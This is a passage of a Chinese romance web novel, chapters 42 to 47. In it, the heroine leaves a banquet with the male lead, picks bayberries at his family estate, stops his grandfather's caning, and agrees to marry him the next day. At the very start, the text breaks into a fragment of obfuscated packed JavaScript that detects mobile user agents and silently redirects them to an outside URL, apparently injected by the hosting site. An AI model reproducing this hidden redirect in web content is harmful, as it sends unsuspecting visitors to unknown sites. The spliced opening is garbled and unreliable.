“钱昭野这是脚踏两条船?刚才不是还说要结婚?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391316|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>全场瞬间炸开了锅。
记者们又疯了一样,瞬间又跑回了钱昭野那边。
刺眼的闪光灯,尖锐的提问,一个接着一个。
就连在角落里的乔眠也不知何被拉了出来。
她被记者围在中间,脸色惨白,全然不见刚才那副假惺惺楚楚可怜的模样。
曲荷站在最外围,默默注视着发生的一切。
手里的U盘攥得生疼。
他们给她泼的脏水,总得加倍还回去。
她吐出一口气,正想转身离开,却撞进了庄别宴眼里。
他不知何时已经摆脱了人群,就站在离她几步远的身后。
庄别宴目光从她泛红的眼尾移到了紧抿的唇,最后定格在她攥着U盘的那只手上。
曲荷手下意识往后藏了一下。
可他却什么也没问,只是上前一步,两人距离拉近。
“还好吗?”他的声音带着几分低哑,很轻,但她听见了。
曲荷挺直着脊背,几乎是脱口而出‘没事’,可她看着庄别宴的眼睛,想起了两人之前的承诺。
话到嘴边的两个字变成了,“..不好。”
她说着吸了下鼻子。
庄别宴的心被什么东西撞了一下,软得一塌糊涂。
“嗯。”他伸手,轻轻握住了她的手腕,自然地接过了她手里的U盘。
他温热的掌心覆了上来,肌肤相触瞬间,像有电流穿过。
曲荷所有的伪装的坚强,在这一刻土崩瓦解。
“庄别宴,你现在敢和我走吗?”
她的声音很轻,甚至带着几分赌气的意味,还有几丝试探,却依旧倔强地仰着头。
庄别宴眼底翻涌着她看不懂的情绪。
“奉陪。”
他说,声音低沉。
简简单单两个字,曲荷心脏狠狠颤了下。
她深吸一口气,主动牵起他的手,“那走吧。”
庄别宴垂眸看着两人紧握的双手,唇角微扬。
他反手一握收紧,完全包裹住了她冰凉的手。
掌心的温度传了过来,带着莫名让人安心的力量。
身后,钱昭野的怒吼和乔眠的尖叫混作一团。
但已经不重要了。
世界在崩塌,又与她何干。
大门推开,灯光洒落,将两人的影子拉得很长,最后融为一体。
第43章 是我想牵你的手
迈巴赫平稳地行驶在街道上。
升起的挡板隔绝了前后座的视线,私密的车后座,安静得好似能听见心跳声。
曲荷自上车开始,便一直看着窗外。
风景变换,她面色平静,像是还没从情绪里出来。
可只有她自己知道,心里在嗷嗷叫。
她刚才干了什么?
当众叫了庄别宴名字?
还牵着他的手上了车?
曲荷甚至没有勇气再想一遍刚才发生的事,她忘不了上车时,司机瞪大的眼睛。
人的情绪在到达临界点后,会下意识找一个避风港,而刚才她就把庄别宴当成了情绪的寄托点。
在她肾上腺素到达顶峰的时候,大脑做出的行为都是没有经过思考的,只是凭借下意识做出来的反应。
曲荷蜷了下手指,指尖刮过了庄别宴的手掌。
他们的手到现在还牵在一起,曲荷尝试过好几次想抽出来,可庄别宴却像是没感觉到一样。
借着玻璃窗反射,曲荷偷偷暼了一眼,庄别宴看不出半点异样,好像被人拉着手一路从宴会厅冲出来的不是他一样。
这人怎么一点反应都没有?
正想着,曲荷就感觉手心忽然被轻轻捏了捏。
“曲荷。”
庄别宴轻轻叫了她一声,可在静谧的车厢内却格外清晰。
曲荷下意识转头,撞进了他含笑的眼眸里。
“嗯?”
“去哪?”他问。
曲荷懵了一瞬,顺着他的目光看向窗外。
这才发现迈巴赫好像已经绕着这条路开了好几圈了,连带着路边的树叶都看眼熟了。
“如果想继续绕下去也可以,”庄别宴的视线落在她微愣的脸上,戏谑道,“就是得先去加个油。”
“...随便,都行。”
曲荷转回头,耳尖几乎要烧起来。
她慌忙地降下车窗,想让风凉一凉发烫的脸颊。
可六月的风,真的好热!
风气裹挟着热气,带着柏油路被晒透焦味,吹得她鼻尖沁出细汗。
“有点热。”
她干笑着升上车窗。
话里的意思是,这么热,赶紧松手啊!!!
可庄别宴只是轻轻“嗯”了声,伸手调高了空调风速,手却依旧没松开,还是方保持的刚才姿势。
空气仿佛凝固了,曲荷只能听到空调风呼呼吹的声音,以及自己越来越响的心跳声。
曲荷实在忍不住,决定开口,可就在这时,手上的力道忽然松了。
她转头,那双被他抽回去的手此刻正在手机屏幕上敲得飞快。
见她看来,庄别宴挑了挑眉,视线往她空着的手上一扫:“要等会儿再牵了,现在需要处理些事。”
空气安静。
“我没说要牵。”曲荷声音有点冲,低头不再看他。
这人怎么回事?说这种话都不打草稿的吗?
庄别宴低笑出声,很快他就收起了手机,“那刚才是谁盯着我的手看了那么久?”
“哪有很久。”曲荷反驳,但瞬间就反应过来,否认,“我没有!我没看!”
“哦。那应该是我看错了。”庄别宴笑意更浓了,“其实,是我想牵。”
曲荷猛地抬头。
两人目光就这么猝不及防撞在一起。
他就这么看着她,坦坦荡荡中夹着几分认真。
一个奇怪的想法从大脑一闪而过,她来不及捕捉,情急之下脱口而出,“庄别宴!你别胡说。”
话落,她自己都愣住了。
又连名带姓叫了他的名字...
耳根子烫的快着了,她飞快转向窗外,却听见旁边传来了低低的笑声。
忽然,手上被塞进了什么东西,曲荷下意识缩了缩。
低头一看,是刚才被他拿走的U盘。
“勇敢的证明。”他的声音很轻。
曲荷瞬间明白了他的意思。
是在说刚才在宴会厅里她强忍的事,这一下,脸更热了,她没好气地呛回去:“毕竟不是每个人都像庄总这样,面对采访能侃侃而谈,处理事情永远从容不迫。”
“现在不叫庄别宴了?”他往她这边倾了倾身,两人距离瞬间拉近,他身上的雪松气息瞬间侵略过来。
“我还以为你已经叫顺口了。”
“我...”
曲荷下意识反驳,可庄别宴却不给她任何机会,继续追问。
“你看过我的采访?”他语气里的笑意更浓了。
曲荷:....??
这是重点吗?
她瞪了他一眼。
庄别宴什么时候变得这么腹黑了。
她感觉自己现在就像是猫爪下的蝴蝶。
庄别宴不再逗她,眼底的戏谑慢慢淡了,正色道:“视频监控的事,我已经让人去处理了。”
曲荷一怔。
所以他刚才看手机,是在处理这个?
她去后台放视频的时候,就知道肯定被监控拍下来了。可那个时候,她根本顾不上这些,只想让钱昭野也尝尝被人戳脊梁骨的滋味。
只是没想到,庄别宴连这个都想到了,还帮她解决了这件事。
“谢谢。”她轻声说,心里涌上点复杂。
庄别宴:“其实不是。”
曲荷愣住。
他看向她眼底,认真得让人心慌:“不是一直都从容不迫。”
他是在解释刚才她说的那句话?
庄别宴声音低沉,“我也会碰到解不开的难题。”
曲荷一下子说不出话,心里好像被什么东西挠了一下,痒痒的。
她感觉车里那张朦胧的薄纱,因为他这句话,悄悄吹开了些。
就在这时,迈巴赫缓缓停了下来。
庄别宴重新靠回椅背,语气恢复了平日的淡然,“到了。”
曲荷转头,在看到窗外的那瞬间,愣住了。
目光所及之处是一片大草坪,庭院里还有一个喷泉,这与其说是别墅,倒不如说是庄园。
“这里是?”她问。
“我家。”
曲荷猛地转头看他:“你家?”
庄宅?
屋里走出两个佣人帮她打开了车门,庄别宴领着她往里走。
“答应过的,带你摘杨梅。”他语气自然,好像在说一件很正常的事。
谁答应了?
她根本没同意!
请苍天,辨忠奸啊!
她当下就拒绝了好嘛!
曲荷正想说些什么来拒绝,就听到不远处传来了一道熟悉的童声,“曲姐姐!你真的来啦!”
小庄禧蹦蹦跳跳跑了过来,头上还像模像样戴着顶小草帽,身上穿着草莓熊图案的防晒衣。
她的身后还跟着个“蒙面大侠”,米白色的防晒面罩
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遮住了大半张脸,只露出一双清亮的眼睛。
“曲姐姐,这是我的大美女妈妈!”小庄禧拉着她的手,把人往前一带。
“蒙面大侠”摘下面罩,露出一张明艳的脸。
她的眉眼和庄别宴有几分相似,都是狭长的眼型,只是眼下多的那颗泪痣,为她平添了几分风情。
“你好,我是庄留月。”女人笑着伸出手,“上次集市的事,多谢你了。”
曲荷赶紧回握:“您太客气了。”
“该谢的。”庄留月笑得眼尾弯起,“今天没来得及准备,下次请你逛街?”
“不用不用,”曲荷连忙摆手,“您已经让庄总请我吃饭了。”
庄留月挑了挑眉,意味深长地看了眼一旁的庄别宴,“吃饭?”
她拖长了语调“哦”了一声,嘴角扬起一抹弧度。
庄别宴面不改色:“先进去吧。”
小庄禧已经等不及了,话一落,就拉着曲荷往里跑,嘴里叽叽喳喳没停。
“曲姐姐你看!我们家的杨梅熟啦!舅舅刚才说要带你过来摘杨梅,我还不信呢,没想到他真的做到了!”
曲荷脚步一顿。
所以他刚才在车里说“我定了”的时候,就已经盘算好要带她来这里了?
腹黑!
身后,庄留月抱臂看着自己弟弟。“我什么时候让你替我请吃饭了?”
她的话里满是调侃。
“这是做舅舅的职责。”庄别宴一本正经回答,淡定往里走。
“切。”
庄留月轻嗤一声,追了上去。
曲荷被庄禧拉着往里跑,也不知道小姑娘哪里来的这么大劲。
她今天穿的是条长裙子,别说摘杨梅了,快走两步都费劲。就现在这一会儿,裙摆就被风吹得缠住了好几次,差点绊倒。
庄禧一边拉着她的手,嘴里叽叽喳喳说着,“曲姐姐,还好你今天来了,再晚杨梅就要被花花吃光了。”
“花花是谁?”
“花花是小鸟,它每天都来吃杨梅,怎么赶也赶不走。”
曲荷被她逗笑了,差点崴脚。
就在她再次因为裙摆被绊倒的时候,一双手稳稳搀住了她的手臂。
“小心。”
庄留月不知道什么时候到了她旁边,“这条裙子很好看,但是不适合摘杨梅哦。”
曲荷笑得有些勉强。
“跟我来。”庄留月自然地牵住她的手,走上二楼。
她从衣柜里拿了套衣服,上面的吊牌都还没拆掉。
“给,换这身吧,前阵子想健身才买的,”她将衣服递给曲荷,“可惜一次都没穿过。”
曲荷接过道谢。
她换上衣服出来后,庄留月坐在沙发上看手机。
听到动静抬头,眼睛一亮,眼下那颗泪痣伴随着笑意微微上扬,“曲老师穿这身真俏。”
她给的是一套雾霾蓝运动套装,穿在曲荷身上刚刚好,完美的勾勒出了她的腰线,这颜色更是衬托得她皮肤更加白皙。
庄留月撑着下巴,打趣:“像刚毕业的大学生。”
曲荷不好意思地笑了笑,“您直接叫我曲荷就可以了。”
“好啊,那以后我们也算是朋友了,你也直接别叫我那么客气。”
曲荷点头,“好的,留月姐。”
这两姐弟,说的话还都差不多。
第44章 他第一个带回家的女人。
曲荷开始整理换下的裙子,庄留月就坐在对面托着下巴看着她。
“诶,对了。曲荷你是北城人吗?”庄留月似不经意问了句。
“是北城人,但老家住的比较偏。”曲荷头也不抬地回答。
庄留月递来一个纸袋子,打趣,“自从庄禧知道你小时候爬树摘杨梅后,天天在家里念着,我都听烦了。”
曲荷接过袋子,“也是无心的话,被小禧听去了。”
“那你小时候真爬过树?”
曲荷耳尖发烫,笑了下,“爬过。我小时候跟外婆住在在渔家渡,那里杨梅树很多。”曲荷将裙子叠好后放进袋子里。
“渔家渡?”
庄留月的手指顿了一下,若有所思,“难怪...”
曲荷疑惑地抬头,可她神色已恢复如常。
“没什么,只是觉得我们还挺有缘。我小时候也去过一次渔家渡。”
这下曲荷着实惊讶了一下。
渔家渡虽然也在北城,但它其实在郊区的小城镇上,再偏一点都快归到隔壁省了,也是这几年直播产业兴起,它才发展起来。
“留月姐你去过渔家渡?”
庄留月笑了,“怎么?这有什么好奇怪的。我们也是吃柴米油盐五谷杂粮长大的,还不去得了?”
“没有,只是有些惊讶。”
“诶呀,也就是外面传得太夸张了。你放心,我们庄家不兴那些弯弯绕绕。”
“我们家很开明的,那什么家规你就当玩笑听听就行,也就庄老二一个人还守着。老二虽然性格古板了些,但人还是不错的,你.....”
曲荷听到后面就有些不对劲了。
这熟悉又陌生的相亲味。
“不是的,留月姐,你误会了...”
庄留月说着凑近了些,身上淡淡的小苍兰香水味飘了过来,“你是他第一个带回家的异性。”
这是什么言情霸总小说必备玛丽苏台词?
曲荷手一抖,袋子差点掉下。
她慌忙解释:“你误会了,我们只是...”
“放心,我都懂。”庄留月眨眨眼。
你懂什么啊!
曲荷还想说什么,却被敲门声打断了。
庄禧清脆的声音传了进来:“妈妈!曲姐姐!你们好了吗?”
“好啦好啦。”庄留月笑着看了她一眼,然后走过去开门。
庄别宴穿着黑白相间的运动套装站在门口,怀里抱着扑腾的庄禧。
他戴了顶黑色鸭舌帽,帽檐压得有些低,显得他的下颌更加棱角分明,这身装扮倒是比平日里多了几分少年气。
“哇!”庄禧瞪大眼睛,小手指着两人的衣服,“曲姐姐和舅舅穿得一样诶!”
曲荷僵在原地。
她终于明白庄留月的笑容是什么意思了,他们两的衣服是同款不同色!
庄别宴弯腰放下庄禧,长臂一伸。
下一秒,一顶米白色鸭舌帽轻轻落在她头上,带好后,还往下按了按。
“外面太阳晒。”
他的声音很轻。
曲荷低声道谢,“哦,谢谢。”
她没抬头。
帽檐投下的阴影恰好遮住了她发烫的耳朵。
“嗯。”庄别宴应了声。
庄禧一门心思都在摘杨梅上,“曲姐姐,我们快走!”
说完,她就迫不及待地拉着她往楼下跑。
庄留月站在原地,看着庄别宴准备跟上去的背影,说了句:“是她吧?就是和小时候性格有些不太一样了。”
庄别宴脚步一顿,转头看她。
庄留月说:“她自己说的,老家在渔家渡。”
庄别宴眼神一暗,透出几分警告。
“我可什么都没说。”庄留月举起双手,一副别来沾边模样。
她撇撇嘴,语气带着戏谑,“小时候的事,忘了也正常是吧。”
“别在她面前提这些。”庄别宴的声音冷了些。
庄留月拍了把他的帽檐,一副恨铁不成钢的语气,“你就继续憋着吧
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,难受的只有你自己,小病秧子。”
“我有分寸。”说完这句话,庄别宴便转身下楼。
看着他下楼的背影,庄留月眼底闪过一抹复杂。
她走到二楼露台,看着院子里围在杨梅树下的三个人,有些愣怔。
树影间,她好像又看到了那个扎着羊角辫的小女孩。
六月末的天已经很热了,太阳又毒又猛。
小孩子兴致来得快,去得也快。
摘了两筐杨梅后,庄禧整个人都蔫了,“舅舅,我好热啊...”
没一会儿她就喊着要回屋里吹空调。
曲荷的后背也被汗水打湿了,她怕小庄禧中暑,赶紧带她回了屋里。
在屋里休整了一会儿后,恢复了不少。
夕阳快落下,小庄禧还攥着她的手不放,一脸不舍得。
她仰着被晒得红扑扑的小脸还想留曲荷吃晚饭。
曲荷笑着婉拒,看向一旁的庄别宴。
他无奈一笑,伸手拿过桌上的一筐杨梅,“走吧,我送你。”
回去路上。
曲荷捧着杨梅坐在副驾驶位置。
杨梅甜香混着空调风飘在车厢内。
曲荷拿了颗杨梅,在指尖转了半圈,开始发呆。
“在想什么?”
庄别宴的声音传了过来。
曲荷回神,把杨梅放回筐里,“没什么,就是觉得这杨梅看着很新鲜。”
他轻笑一声,“自从那天庄禧打算邀请你来摘杨梅后,天天叮嘱家里人要好好看着这棵树,比她那些玩偶还宝贵。”
曲荷想起下午小姑娘踮着脚够果子的样子,弯了弯唇,“你们往年也会摘杨梅吗?”
“嗯。每年这个时候都会去,以前是和家人,今年...”
他没说下去,曲荷却听懂了。
今年多了她。
空气愣了几秒。
“那还挺巧的,也是赶上时候了,再晚一点杨梅就下季了,都摘不到新鲜的了。”曲荷笑着转移了话题。
第45章 领证(上)
“不晚。”庄别宴侧眸看过来,眼里带着几分说不清的意味,“刚刚好。”
曲荷不知为何,听到这句话就想到了下午吃到的杨梅,一口下去甜滋滋布满口腔,中间还夹杂着几分酸意,缠绕在舌尖。
她清了清嗓子,看向窗外。
车子很快到了白玉湾门口。
曲荷解开安全带,正准备下车,就突然想到了什么。
她回头,“你等我一下可以吗?”
庄别宴回头,“嗯?”
“我有个东西要给你。”
庄别宴搭在方向盘上的手顿了一下,眼里带上了几分笑,“好。”
“我马上就回来。”
曲荷飞快下车,拎着杨梅跑回家,直奔卧室,从抽屉里拿出了胸针。
可等她再回到门口的时候,只有空荡荡的一片,迈巴赫早已没了踪影。
曲荷拿着胸针的手愣了一下。
晚风卷着热气拂过脸颊,带上了几丝怅然。
手机在这时传来震动,是庄别宴发来的消息。
【抱歉,临时有急事需要处理,改日联系。】
曲荷回了一个【好。】
西边的太阳慢慢沉下去。
夕阳把她的背影拉得很长。
不远处的路口树下,庄别宴目光追着那抹纤细的身影,手不自觉攥成拳。
“二少爷,该走了,老爷子的车已经到了。”
旁边的黑衣保镖走了上来。
庄别宴闭了下眼,再次睁眼,眼底的温柔已被沉郁取代。
晚风吹过,路边只剩下扬起的细小灰尘,很快便无影无踪。
后面几天,司月回了老家,曲荷一个人在荷月坊看店,日子平静无波。
只是她每次出门前都会带上那枚胸针,但那辆迈巴赫再也没出现过,庄别宴也没再发来消息。
她有时候会打开盒子看看那枚胸针,但很快又被她收回去。
直到那天晚上,她洗完澡刚拿起手机,就看到庄禧发来一条语音。
点开瞬间,小姑娘带着哭腔的声音传了过来,“曲姐姐,舅舅他...舅舅好像快**...”
庄禧哭得一抽一抽,话说得含糊不清,断断续续。
“曲姐姐...舅舅快**...太外公不让他吃饭....他流了好多血...”
曲荷拿着手机的手紧了下。
她把手机拿近,贴着听筒轻声安慰她,从小姑娘断断续续的话里,听了个大概。
庄别宴不知道因为什么原因,被他爷爷关在家里受罚,听庄禧的意思,他好像还受伤了。
曲荷想到了那天他走得很急,难道也是因为这个原因?
不知为何,曲荷心里有股莫名的预感,总感觉这件事隐隐约约和她有关。
庄禧的情绪稍微稳定了一些。
“小禧...你...”
曲荷刚叫了声她的名字,就听到那头传来窸窣声,下一秒,庄留月的声音就传了过来。
“曲荷,我是留月。”
庄留月的声音清清淡淡,“刚才没注意,庄禧从我这里拿了手表给你打电话,打扰你了。”
曲荷愣了一下。
“留月姐”,她下意识攥紧手机,声音有些颤,“小禧刚才说庄……庄别宴他……”
那头声音沉默了片刻,曲荷一度以为通话断了。
良久,那头传来了声叹息,“没什么,就是犯了点错。”
“什么错不让人吃饭,还到流血了?”
曲荷没忍住问了出来。
“啊?”那头庄留月愣了一下,“奥,奥。”
她的声音突然变得有点深沉,“这个...确实闹得有点严重了。不知道是谁给爷爷发了照片,说老二私生活混乱,和陌生女人在酒店一整夜没出来。”
一颗惊雷炸开。
酒店...一夜..
难道是那天晚上的事情?
庄留月继续说,“老二也是脾气硬,爷爷就问他那人是谁,他咬**没说。其实说到底,如果两人真的你情我愿,那也没什么,可老二这样不说,倒是真的坐实‘私生活混乱’了。”
曲荷听得太阳穴直跳。
果然,和她有关。
没想到那件事,还牵扯到了庄别宴。
他现在,因为她,在受罚。
是谁拍了照片?又是谁会把照片寄给庄老爷子?
曲荷脑子一团乱麻,但现在心里更多的是愧疚。
“他现在....还好吗?”曲荷的声音有些哑。
“小禧说他好像…流血了……是受伤了吗?”
曲荷问的时候心有些慌,庄家三百多条家规那么严苛,如果庄别宴真的因为她受了责,她该怎么办?
她正想着,没注意到通话那头,有轻微的脚步声。
庄留月的声音突然变得有些轻,“他……他现在应该不算太好……”
后面的声音几乎听不见了,曲荷还以为信号不好,正想追问,就听到庄别宴的声音传了过来,“曲荷。”
他的声音听起来很哑。
“对不起,上次走得太急。”
曲荷莫名觉得眼眶有些热,眼下她哪还记得上次的事,也不去想为什么通话那头的人突然变了一个。
“该说对不起的人是我,如果不是我....”
“我没事。”庄别宴打断了她的话,“别担心。”
她正想说些什么,就听到那头突然传来了动静,一道苍老的怒呵声传了过来,“想好了吗?那人是谁?”
曲荷一下子心跳了起来。
庄别宴没说话。
“哼,脾气还挺硬!你是不是你现在变成了庄总,就没人敢管你了?私生活混乱!你听听这个话!让我这张老脸往哪里放!”
曲荷知道了那人应该是老爷子。
“不说话是吧,那继续给我受罚!”
重重的拐杖敲击地面声传了过来,曲荷心颤了一下。
受罚?
“是我!”曲荷想也没想就喊了出来,声音还隐约有些颤抖,“那天晚上和他在一起的人是我!”
电话那头一片死寂。
沉默良久。
曲荷呼吸急促,她深吸一口气,“庄别宴,把手表给庄爷爷。”
那头传来他无奈叹气,“曲荷,你不用这样的。”
“别说了。”曲荷打断他。
她拿着手机下床,去衣柜里找衣服,“庄爷爷您好,我是曲荷。我现在就过来庄宅当面和您解释,也请您在我到之前,不要让庄别宴受罚。”
“曲荷,你……”
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“等我到了再说。”
她快速换上衣服,连头发都没来得及吹,抓起钥匙就往外走,在走到门口突然想到什么,“庄别宴,你电话别挂,我得知道你是安全的。”
电话那头,庄别宴轻笑了声,带着安抚的意味:“好。需要我派人过来接你吗?”
“不用。你别挂电话就行。”
“好。”
曲荷拿着手机匆匆下楼,上车,油门一踩。
车子平稳地行驶在夜色里,副驾驶位置上,手机屏幕始终亮着。
湿发搭在她脖颈间,冰凉一片。
曲荷不知道该说些什么,只能每隔几分钟,就叫一遍他的名字,像是在确认什么。
“庄别宴。”
“嗯,我在。”
“庄别宴。”
“我在。”
没有多余的话,只有这简单的一问一答,在车厢内反复回响。
约莫半个小时车子终于开到了北山墅,她的车子畅通无阻。
夜色里,庄宅的轮廓逐渐清晰。
车子停稳,曲荷拿着手机下车往里走。
“庄别宴,我到了。”她说话时声音带着些喘气。
话音刚落,就听到了他的声音传了过来,近得像是在耳畔,“我看到了。”
曲荷心头一震,抬眸。
在她正对面,庄别宴就站在那里。
他不同以往西装革履,只是穿着简单的深色家居衬衫,袖口随意挽到手肘。
夜色如墨,暖黄色的灯光搭在他身上,镀了层柔光。
晚风拂过,吹动了他的衬衫下摆,吹起了她颈间的发丝,也吹散了一路的担忧。
曲荷小跑上前,到他到面前呼吸都乱了,“你还好吗?”
她这一刻也没有那些顾忌了,拉着他的手腕上下前后检查了一圈。
除了手指有些泛红外,表面没有什么明显的伤,她不由得松了口气。
庄别宴一直跟着她,目光落在她湿漉漉的头发上,夜风吹来,茉莉花香的洗发水钻进鼻腔。
他喉结动了下,轻笑,“需要我脱衣服给你检查吗?”
曲荷手一僵,猛地收回手。
这时,门口传来了脚步声,一道威严的声音传了过来,“你就是电话里的丫头?”
庄爷爷拄着拐杖走来,他虽已年过八十,但看起来精神十足,步伐稳健,目光如炬,不怒自威。
曲荷几乎是下意识把庄别宴拉到后面。
“是。”
她目视前方,迎上了庄老子目光,没察觉到身后人眼底的温柔几乎快溢出来。
他们跟着到了老爷子书房,曲荷把那天的事原原本本讲了一遍。
末了,抬头,“事情前因后果就是这样,庄别宴不是他们说的那种人。”
庄老爷子没说什么,眼睛在两人身上扫了一圈,沉声:“小姑娘,你知道庄家有三百二十条家规里,有两条家规是‘洁身自好’和‘不可趁人之危’吗。”
曲荷一愣,不解。
“老二不管出于什么原因,在婚前发生了这种事情,就是对未来另一半不负责,这是不洁身自好。”
他拐杖重重往地上一顿,“他在你意识不清醒占你便宜,那更是趁人之危,按家规,必须得受罚!”
第46章 领证(下)
“可他是为了帮我,这是事出有因,那不叫趁人之危。”曲荷急得上前一步。
“就算事出有因,那他也是没有做到洁身自好。”庄老爷子,若有似无看了她一眼,“这事情将来被他媳妇知道了,心里能舒坦?”
“小丫头,庄家有庄家的规矩,你既不是庄家人,也不是老二媳妇,这里没你的事,请回吧。”
说着,他朝着管家使了个眼色。
曲荷攥紧拳头,看向站在旁边的庄别宴,他也正好抬头看了过来。
他没有反驳,嘴角还挂着淡淡的笑,反过来倒变成了他在安抚她。
这落在曲荷心里更难受了,他越是这样从容,她心里的愧疚又深了几分。
“惩罚...是什么..?”她的声音有些抖。
“抄写家规一百遍,受三十棍。”
庄老爷子看向庄别宴,一脸严肃:“老二家规已经抄完了,那剩下的三十棍,现在就了了吧。”
三十棍!
这是什么封建制度!
又不让人吃饭,还要抄写家规,现在又挨棍子。
曲荷想起刚才庄别宴有些颤抖的右手,还明显泛红的手指,原来都是因为抄家规抄出来的。
“不行。”
曲荷大声制止,却无人理他。
管家已经拿着藤棍走了过来,那棍子和她手臂一样粗,那么吓人,这三十棍下去谁能受得住。
可庄别宴却没说一句话,只是默默屈膝,跪了下去。
膝盖砸在地板上,发出一声闷响。
双膝跪地那瞬间,曲荷心里难受极了,眼泪几乎要掉出来。
“不行。”
她冲过去过去,试图把他拉起来,可手却被管家拉住。
庄别宴仰头看她,指腹轻轻擦去了她眼角的泪,“不哭,不疼的。”
“不行!”曲荷眼泪掉的更凶了,好像只会说这两个字。
那根棍子这么粗!庄禧又说他好几天没吃饭了....
“不行!”
庄老爷子没说话,接过藤棍,走到庄别宴后面。
他看了曲荷一眼,“小姑娘,这场面你看不得。”
他给管家下令,“把她带出去吧。”
说着,就抬手。
藤棍带着风声,“啪”的一声,往庄别宴背上砸了下去。
庄别宴后背猛得一抽,衬衫下的肌肉瞬间绷紧,他咬着牙,喉咙底溢出一声闷哼。
曲荷看着心一颤,想挣脱管家的手,却被他抓得死死的。
一棍又一棍。
到后面庄别宴的呼吸声越来越重,却依旧一言不发,只是默默忍受着。
曲荷看的难受极了。
在不知多少棍后,他身子忽然一软,往旁边倒了一下,可在倒地前他手掌撑住地面,硬生生稳住了身子。
抬眼时,正好对上了曲荷的目光,他居然还弯了下嘴角,试图安抚她。
可他额头的冷汗却让曲荷心如刀绞。
“不能打了,不能打了。”她一遍遍喊着。
可回应她的,只有棍子落在皮肉上的声音。
庄别宴拖着气声,看向管家,带着几分坚决,“快把她带出去。”
他又看向曲荷,眼神温柔的快碎了,“去找庄留月,让她帮你把头发吹干了再回家,好不好?”
为什么,到现在,他还在顾着她?
曲荷哭得一抽一抽地,疯狂摇头,视线几乎要模糊了。
眼看着老爷子那一棍又要落下去,曲荷也不知道哪里来的力气,挣脱开了管家的手,扑到庄别宴面前。
“别打了!庄别宴救了他的妻子!他没错!”
藤棍悬在半空。
气氛沉寂。
曲荷的眼泪一滴滴砸在庄别宴手背上,烫得他手颤了下。
他缓缓抬头,看见了曲荷通红的眼睛,看见她颤抖着说,“我就是他的妻子,他救了我,他没错……”
庄老爷子悬在半空的手慢慢放了下来,眼睛眯了下。
“小姑娘,你这话是认真的?这可不是儿戏,是关乎一辈子的人生大事,你可得想清楚!”
曲荷看向庄别宴苍白的脸。
她知道,今天一旦应下,那她以后的人生就要和庄别宴绑在一起了。
她和钱昭野的那段过去,她能放下,可庄别宴呢?他会介意吗?
曲荷陷入思绪的这几秒,在场三个人的心都颤抖了几分。
她没注意到的地方,庄别宴垂在另一侧的手攥紧了几分,庄老爷子握住藤棍的手紧了又松,连站在旁边的管家都屏住了呼吸。
庄别宴捏了捏他的手,声音带着几分脆弱,“如果你不愿意……”
“庄别宴,你愿意吗?”曲荷打断他的话。
“……”
庄别宴愣了一下,她是在征求他的意见?
她没有敷衍,也没有随便应付爷爷,她是在认真问他的意愿。
难以言喻的欣喜涌上心头,他几乎控制不住嘴角的笑意,只能用力握紧她的手。
他,求之不得。<
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br>曲荷见他不说话,又凑近了些,茉莉花香洗发水的想起萦绕在鼻尖,“庄别宴,你不说话我就当你同意了。”
说完,她看向庄老爷子,郑重点了下头。
庄老爷子紧绷的后背松了下来,不动声色松了口气。
他放下棍子,语气也缓和了不少,“既然如此,那老二也就不用受罚了。”
曲荷松了口气,悬着的心终于落地。
她小心翼翼搀扶着庄别宴起来,坐到旁边的椅子上。
他看起有些虚弱,坐下来后顺势把半边重量靠在她身上。曲荷能感觉到他轻微的颤抖,不知道是因为疼的,还是因为别的什么。
庄老爷子眼下倒是有些气定神闲了,他坐到茶桌前,慢条斯理给自己倒了杯茶,抿了口。
“小姑娘,我们庄家向来明事理。你明天就和老二把证领了,也算是我们对你的一个交代。”
曲荷没想到这么快,她愣了一下。
“怎么?不愿意?”老爷子挑眉,语气里带着几分紧绷的试探。
“没有,明天可以的。”
曲荷想了想,她身份证应该在车上。
还好,现在领证不用带户口本,不然还得和家里人解释。
庄老爷子满意点了下头,站起身,“那今天你就在这里住下,明早就去把证领了。”
他说完这句话,就背着手,慢慢走了出去,管家紧随其后。
曲荷看着老爷子离开的背影,不自觉蹙了下眉。
刚才她没听错吧?
老爷子出去的时候哼曲儿了吧?
她总感觉哪里怪怪的,可来不及细想,就听到旁边传来一声压抑的闷哼。
“唔......”
是庄别宴的声音。
曲荷心头一紧,脑袋里的思绪一下子被抛在脑后,赶紧转头。
“怎么了?是不是碰到哪里了?”
庄别宴脸色好像又白了些,握着她的手也在颤抖。
庄别宴靠在她肩头,握着她的手紧了些,“没事,别担心。”
两人目光对视,面面相觑间,微妙的氛围悄然散开。
管家拿着药箱恰好走了过来,脸上带着笑意:“二夫人,您要不先和二少爷回房间上药吧。”
曲荷听的那声“二夫人”耳朵红了下。
一下子不知道该接还是不该接。
庄别宴眼底想笑意再也藏不住,他伸手接过管家手里的药箱,拉着曲荷的手,声音温柔。
“走吧,庄太太。”
第47章 婚前三件事
曲荷被庄别宴牵着手往外走,看着两人交握的手,心跳有些不稳。
在经过楼梯口的时候,碰到了抱着草莓熊玩偶的小庄禧。
她瞪大了眼睛,嘴巴张成了“O”形,她还以为自己看错了,揉了揉眼睛,“曲姐姐,你……”
才说了几个字,就被不知道从哪里冒出来的庄留月像拎小猫一样横空捞起。
她冲曲荷眨了眨眼,嘴角勾起一抹促狭,转眼,一大一小飞快消失在楼梯口。
曲荷:“……”
庄别宴的房间在三楼,房间很大,很简洁。
灰白简约色调,很基础的布局,线条利落的家具,整体看起来很舒服。
曲荷被他带着坐在了沙发上,两人的手一直牵着。
她其实现在脑袋还是有点懵懵的,还是有点没有反应过来。
这一切都发生的太快了,像一场梦。
她明天居然要和庄别宴去领证了?
比起领证这件事,领证对象是庄别宴更让她有点惊讶。
他们就像是两条从来不会有交集的平行线,而从今天开始他们两个人的未来就被绑在了一起。
未来?
她和庄别宴的未来?
她都不敢深想,那个‘未来’里有着什么样的光景。
曲荷沉浸在自己的思绪里,忽然掌心一空,庄别宴松开了她的手,不知道去了哪里。
她一时有些没反应过来。
低头看着掌心,上面还有他的余温。
庄别宴拿着吹风机走了过来。
他很自然地领着她坐到床边,插上插头,打开吹风机,现在手背上试了下温度。
